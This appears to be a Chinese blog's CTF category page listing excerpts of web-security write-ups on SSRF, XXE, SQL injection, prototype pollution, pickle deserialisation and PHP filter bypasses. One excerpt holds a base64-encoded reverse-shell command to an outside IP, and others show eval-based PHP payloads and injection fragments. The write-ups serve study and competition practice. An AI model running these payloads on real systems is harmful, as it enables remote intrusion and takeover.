ctf
文章平均质量分 80
HyyMbb
这个作者很懒,什么都没留下…
展开
-
看雪CTF web(SSRF+XML+JAR协议)
题外很久没写文章了,这儿再水一篇正文首先打开题目直接有个提示,给了两个链接根据测试第一个链接/getimage?url=https://bbs.pediy.com是远程加载图片的,而且对于url有一定的格式要求那么我们怎么绕过这个正则呢?这儿就需要用到一个技巧了,这儿是java环境,httpclient3和httpclient4这两个库都有容错机制,即假如端口后面存在其他字符会自动舍弃掉(/作为分隔符)而且都会对host进行url二次解码,所以我们最终的payload为:http:/原创 2020-12-01 23:18:58 · 1625 阅读 · 0 评论 -
第十三届全国大学生信息安全竞赛(线上初赛)Web
littlegameAn evil dragon took the beautiful princess, let’s take this challenge!题目直接给了源码const Admin = { "password1":process.env.p1, "password2":process.env.p2, "password3":process.env.p3}router.post("/DeveloperControlPanel", function (re原创 2020-09-19 11:08:50 · 1798 阅读 · 0 评论 -
socket发送http请求时的走私
简述这是在做一道CTF题目时遇到的,这儿稍微记录一下code服务端#!/usr/bin/env python3# i use arch btwfrom flask import Flask, render_template, requestfrom werkzeug.serving import WSGIRequestHandler, BaseWSGIServerimport subprocessimport jsonapp = Flask(__name__)@app.原创 2020-07-19 08:09:20 · 528 阅读 · 0 评论 -
关于python使用系统命令反弹shell的一点记录
前一段时间遇到了这个问题在此记录一下os.system('bash -c \"{echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMjkuMjA0LjIwNy4xMTQvNDA0MCAwPiYxCg==}|{base64,-d}|{bash,-i}\"')这个payload实际上是java的payload,只是java不需要后面的双引号转换网址但是这个有个限制假如采用了字符串拼接的形式(即大括号有实际意义,字符串前面加个f)这个时候我们去掉大括号即可(大括号的作用是在过滤原创 2020-07-14 00:00:56 · 1417 阅读 · 0 评论 -
ASIS CTF Quals 2020 web复现
听说这期题目不错,就复现了一下,由难到易Admin Panel源码app.jsconst express = require('express');const app = express();const session = require('express-session');const db = require('better-sqlite3')('./db.db', {readonly: true});const cookieParser = require("cookie-pars原创 2020-07-09 01:12:51 · 905 阅读 · 1 评论 -
2020第五空间 web writeup
hate-php源码 <?phperror_reporting(0);if(!isset($_GET['code'])){ highlight_file(__FILE__);}else{ $code = $_GET['code']; if (preg_match('/(f|l|a|g|\.|p|h|\/|;|\"|\'|\`|\||\[|\]|\_|=)/i',$code)) { die('You are too good for me');原创 2020-06-27 00:16:35 · 3414 阅读 · 0 评论 -
PHP 中实体符号 绕过eval Bypass
多的就不介绍了直接看图吧原创 2020-06-22 02:18:11 · 1485 阅读 · 0 评论 -
CTF 关于linux 7z解压的一点trick
示例假如我们可以任意文件上传,但是后缀拼接了一个hash256(要求是上传一个7z压缩文件,因为题目对应的功能是解压后缀为7z的文件)1、这个时候我们可以在文件名后面加一个/2、此时我们的结构为filename.zip/hash2563、虽然filename.zip是一个目录,而上传的内容在hash256文件中,但是Linux的特性支持直接解压一个文件夹,只要文件夹里面含有7z的压缩文件(即有一个7z文件格式的文件)总结类似的trick还有php可以执行打包文件,详情见链接...原创 2020-06-19 01:08:27 · 1185 阅读 · 0 评论 -
RCTF2020关于反序列化的一些记录
这次比赛,我只能说这就是RCTF? i了i了~~这次有一道web题目,是关于反序列化的,这儿稍微记录一下其中的知识点~题目源码<?phpSwoole\Runtime::enableCoroutine($flags = SWOOLE_HOOK_ALL);$http = new Swoole\Http\Server("0.0.0.0", 9501);$http->on("request", function (Swoole\Http\Request $request, Swool原创 2020-06-07 22:36:14 · 690 阅读 · 0 评论 -
第二届网鼎杯(第三场:朱雀组)Think Java
首先题目给了一些class文件,这些不需要多说,直接jd-gui反编译或者使用fernflower反编译也可以解题过程先扫一下目录得到swagger-ui.html发现几个api接口sql注入得到密码源代码中明显存在SQL注入(dbName可控),但是必须满足两个条件,否则不能连接数据库#号在引号里面时当做填充符,没有实际意义(这个只是在jdbc中这样?还没来得及验证)最终:jdbc:mysql://mysqldbserver:3306/myapp#‘ union select原创 2020-05-20 00:03:09 · 1733 阅读 · 1 评论 -
第二届网鼎杯(第一场:青龙组)web WriteUp
学校战队总排名52,web和pwn各拿了一个一血,只能说师傅太强了,不过后来的排名有点起飞,最后半小时,直接从前十名飞出去了~~filejava这道题主要考察的是java的xxe漏洞,这个题目总共有两个功能,上传和下载功能,有上传和下载,我们就想到两个漏洞点,是否有任意文件上传或者任意文件下载?经过测试确实有任意文件下载,但是任意文件上传确不存在,但是却能够为我们提供路径~~任意文件下载但是我们不知道web的路径怎么办?我们还有文件上传的报错~~文件上传我们可以看到报错处直接给了web的原创 2020-05-11 13:40:17 · 1891 阅读 · 0 评论 -
域渗透小结
参考连接原创 2020-05-09 13:09:26 · 306 阅读 · 0 评论 -
HFCTF2020 web writeup
easy_loginjust_escape进入这个页面然后显示的是一个php的任意代码执行的页面,但是经过测试,这个根本就是php,其实题目也有提示我们输入Error().stack可以根据回显得到,这是一个JS的vm2,而且经过测试许多关键字都被过滤所以我们使用字符串拼接就可以了~~然后我们去网上找一下关于vm2的payload所以最终的payload为:(function (...原创 2020-04-21 12:41:43 · 3090 阅读 · 0 评论 -
临时文件上传无字母数字RCE
题目分析<?phpif(isset($_GET['cmd'])){ $cmd=$_GET['cmd']; highlight_file(__FILE__); if(preg_match("/[A-Za-oq-z0-9$]+/",$cmd)){ die("cerror"); } if(preg_match("/\~|\!|\@|\#|...原创 2020-04-12 13:40:06 · 1813 阅读 · 0 评论 -
#对于星球一道题目的思考
题目介绍$filename=$_POST["filename"];file_put_contents($filename, '<?php exit();'.$filename);问如何getshell思路一:php://filter/convert.base64-encode|base64编码/resource=a.php这个思路不行,因为这个是同一个变量在php中,如...原创 2020-04-03 15:58:20 · 218 阅读 · 0 评论 -
MRCTF2020 web Ezpop_Revenge 简单记录
题目介绍首先这是一个typecho的框架然后通过扫目录得到www.zip源码泄露,然后就是审计代码了~~解题过程首先我们找到输入点在插件中,我们发现action()的代码这儿需要说明一下,这儿的action一般是自动加载的,当路由加载类是会自动加载某个函数,所以我们直接搜索这个类得名称~~Helper::addRoute("page_admin_action","/page_a...原创 2020-03-31 10:20:30 · 3033 阅读 · 0 评论 -
高校战“疫”网络安全分享赛 —— Write-up
Guessgame这道题目当时没做出来,后来复现的时候,发现挺有意思的,题目中主要有三个考点JS的大小写特征原型链污染redos盲注这儿主要着重介绍一下第三个考点JS的 exec test RegExp match replace spite可以造成redos盲注/([a-z]+)+$/.exec('aaaaaaaaaaaaaaaaaaaaaaaaaaaa!');/Runoo...原创 2020-03-30 14:49:24 · 2456 阅读 · 0 评论 -
python反序列化的一些技巧
写入全局变量有这么一道题,彻底过滤了R指令码(写法是:只要见到payload里面有R这个字符,就直接驳回,简单粗暴)。现在的任务是:给出一个字符串,反序列化之后,name和grade需要与blue这个module里面的name、grade相对应。import pickleimport pickletoolsimport base64payload_before = b"\x80\x03c...原创 2020-03-29 16:20:56 · 779 阅读 · 0 评论 -
三道python反序列化题目介绍
参考链接从Balsn CTF pyshv学习python反序列化源码以及wp:https://github.com/sasdf/ctf/tree/master/tasks/2019/BalsnCTF/miscpython反序列化和其他语言的序列化一样,Python 的序列化的目的也是为了保存、传递和恢复对象的方便性,在众多传递对象的方式中,序列化和反序列化可以说是最简单和最容易实现的方式。...转载 2020-03-29 13:29:55 · 740 阅读 · 0 评论 -
python反序列化的一些介绍
基础介绍c:引入模块和对象,模块名和对象名以换行符分割。(find_class校验就在这一步,也就是说,只要c这个OPCODE的参数没有被find_class限制,其他地方获取的对象就不会被沙盒影响了,这也是我为什么要用getattr来获取对象)(:压入一个标志到栈中,表示元组的开始位置t:从栈顶开始,找到最上面的一个(,并将(到t中间的内容全部弹出,组成一个元组,再把这个元组压入栈中R:...原创 2020-03-28 00:55:20 · 183 阅读 · 0 评论 -
2020 易博霖 CTF web
RCE_NOPAR无字符GETSHELL就行payload:eval(hex2bin(session_id(session_start())))改PHPSSEION值为16进制就行SSRF把file后面的参数两层base64解开,就知道可以包含其他文件,两层base64编码就行第一层读index.php<?phperror_reporting(E_ALL || ~E_NOT...原创 2020-03-27 18:08:10 · 673 阅读 · 0 评论 -
第二届BJDCTF WEB 部分题目简要
文件探测File Detect这个题目主要的考点为:php字符串格式化漏洞SSRFCBC逃逸针对第一个考点我们只需要在前拼接的字符串中加入%s%就可以了,这样最后面的%就会将代码中的%d吞掉针对第二个考点没啥好说的,就是一个file_get_contents读取本地文件针对第三个考点这个题以前在XCTF做过类似的题目这儿的密匙使用SESSION来储存的,所以我们只需要...原创 2020-03-26 00:48:20 · 319 阅读 · 0 评论 -
i春秋2020新春疫战 非SQL题目解析
Ezupload这道题目可能是师傅的失误,在上传后缀名过滤的数组中有一些失误~~导致直接上传php马,得到flag~~这儿贴一下上传shell查看的源码<?phperror_reporting(0);header("Content-type: text/html; charset=utf-8");$sandbox='sandbox/'.md5($_SERVER['remote_...原创 2020-02-25 22:40:09 · 1184 阅读 · 0 评论 -
i春秋2020新春疫战 SQL注入类型 writepup
招聘简历这道题目是比较常见的bool注入打开题目是一个注册登录界面我们先尝试一下有没有注入点我们先注册一个账号这个时候我们在登录页面试一下有没有注入点很明显的bool注入,1=1是恒成立的,如果and后面的条件不成立,就会返回登录失败~~exp:# encoding=utf-8import requestsurl = 'http://d3be80acd6b647538ef87...原创 2020-02-24 15:30:53 · 960 阅读 · 0 评论 -
CTF常见web密码学攻击方式(转载)
【技术分享】常见的Web密码学攻击方式汇总对字节反转攻击的深入研究原创 2020-02-17 22:01:15 · 960 阅读 · 0 评论 -
CTF 中JS对象键值的一点小trick
js中的对象只能使用String类型作为键类型,所以什么别的类型传进去就要做一次toString()案例分析链接同时还可以结合evoa师傅的HTTP参数传递类型差异产生的攻击面一起学习链接...原创 2020-02-11 17:34:57 · 414 阅读 · 0 评论 -
escapeshellarg escapeshellcmd漏洞
[BUUCTF 2018]Online[BUUCTF 2018]Online谈escapeshellarg绕过与参数注入漏洞命令参数注入原创 2020-01-31 01:19:06 · 1402 阅读 · 0 评论 -
SSTI注入,简单记录一下(config)
输入数据有回显,看返回头是python写的后台,猜测有SSTI(加了个php模式的报错和index.php路由不知道有没有骗到某个师傅–) 然后接下来是绕WAF,我写了两个过滤,一个强过滤是匹配{{和}},目的是想让各位师傅用远程SSTI把flag打到自己服务器上。然后是一个简单的单词匹配过滤os等敏感字符,只要FUZZ一下,再实验一下,会找到config这个大多数poc都用不上且过滤排在较后,...原创 2020-01-28 21:59:45 · 2513 阅读 · 1 评论 -
关于一些LFI的常见用法(转)
链接转载 2020-01-18 18:04:53 · 1446 阅读 · 0 评论 -
常见的一些注入技巧
https://www.cnblogs.com/wfzWebSecuity/p/7173127.html转载 2019-12-28 13:49:07 · 235 阅读 · 0 评论 -
xbmp格式
#define test_width 16#define test_height 7<?php echo 'it works';?>static char test_bits[] = {0x13, 0x00, 0x15, 0x00, 0x93, 0xcd, 0x55, 0xa5, 0x93, 0xc5, 0x00, 0x80,0x00, 0x60 };原创 2019-12-27 17:35:14 · 416 阅读 · 0 评论 -
XCTF final noxss
0x01 题目描述这次题目主要是通过css注入提取script里一个变量的值,即flag我们举个例子,先贴出代码。<!DOCTYPE html><html lang="en"><head> <meta charset="UTF-8"> <meta name="viewport" content="width=devic...原创 2019-12-06 23:48:13 · 469 阅读 · 0 评论 -
利用PHP的字符串解析特性Bypass
0x01 bypass介绍我们知道PHP将查询字符串(在URL或正文中)转换为内部$_GET或的关联数组$_POST。例如:/?foo=bar变成Array([foo] => “bar”)。值得注意的是,查询字符串在解析的过程中会将某些字符删除或用下划线代替。例如,/?%20news[id%00=42会转换为Array([news_id] => 42)。如果一个IDS/IPS或WAF...原创 2019-11-10 00:42:29 · 835 阅读 · 0 评论 -
JavaScript Prototype污染攻击(CTF 例题分析)
0x01 先谈谈自己的理解function a(){} var b=new a()var c = {}a.__proto__.__proto__ == b.__proto__.__proto__ == c.__proto__a.__proto__ != b.__proto__ != c这个时候 b的__proto__ 指向的就是a.prototypea.prototype的_...原创 2019-11-03 18:22:01 · 2030 阅读 · 0 评论 -
CTF gopher协议
0x01 例题这儿举例安恒的一道月题tips:利用ssrf,gopher打内网0x02 贴出代码<?phphighlight_file(__FILE__);$x = $_GET['x'];$pos = strpos($x,"php");if($pos){ exit("denied");}$ch = curl_init();curl_setopt($ch,...原创 2019-11-03 11:32:41 · 7318 阅读 · 0 评论 -
sql约束攻击
0x01 原理介绍1、假如我们注册一个username,password,此时数据库中对username字段长度做了限制。当username超过长度时,数据库就会截断username(此时数据库的模式必须为ANSI模式,set @@sql_mode=ANSI;)2、mysql查询时会自动忽略掉后面的空白字符。(实际原理时,查询时mysql会用空格补齐两个比较的字段)3、例如:我们注册的账号为...原创 2019-10-30 00:29:40 · 250 阅读 · 0 评论 -
CTF bukgu jwt
0x01 解题思路1、我们先打开网址,查看源码得到hint<!--hint:NNVTU23LGEZDG===-->,这儿直接想到base64解码,但是一直解不出来,后来试了试base32解码,成功!(思维太局限了)。2、解码成功后得到账号和密码kk:kk1233、我们登录进去得到提示diary中提到了vim,我们首先想到的就是源码泄露,于是我们直接用dirsearch脚本扫,...原创 2019-10-30 00:17:45 · 668 阅读 · 0 评论 -
XXE注入
0x01 贴出源地址Blind XXE详解与Google CTF一道题分析0x02 贴出常用payload一、Blind XXE1、外部DTD(1)先在自己的服务器中加入下列DTD文件xml.dtd <!ENTITY % start "<!ENTITY % send SYSTEM 'http://myip:10001/?%file;'>"...原创 2019-10-28 22:46:18 · 558 阅读 · 0 评论 -
unctf记一次命令执行bypass
0x01 贴代码<?php highlight_file(__FILE__); $a = $_GET['a']; $b = $_GET['b']; // try bypass it if (preg_match("/\'|\"|,|;|\`|\\|\*|\n|\t|\xA0|\r|\{|\}|\(|\)|<|\&[^\d]|@|\||tai...原创 2019-10-28 10:43:13 · 1195 阅读 · 3 评论 -
【SSRF】如何绕过filter_var(), preg_match() 和 parse_url()
0x01 前言转自:Pino_HD0x02 代码<?php echo "Argument: ".$argv[1]."\n"; //check if argument is a valid URL if(filter_var($argv[1], FILTER_VALIDATE_URL)){ //parse URL $r =...原创 2019-10-18 14:49:10 · 892 阅读 · 0 评论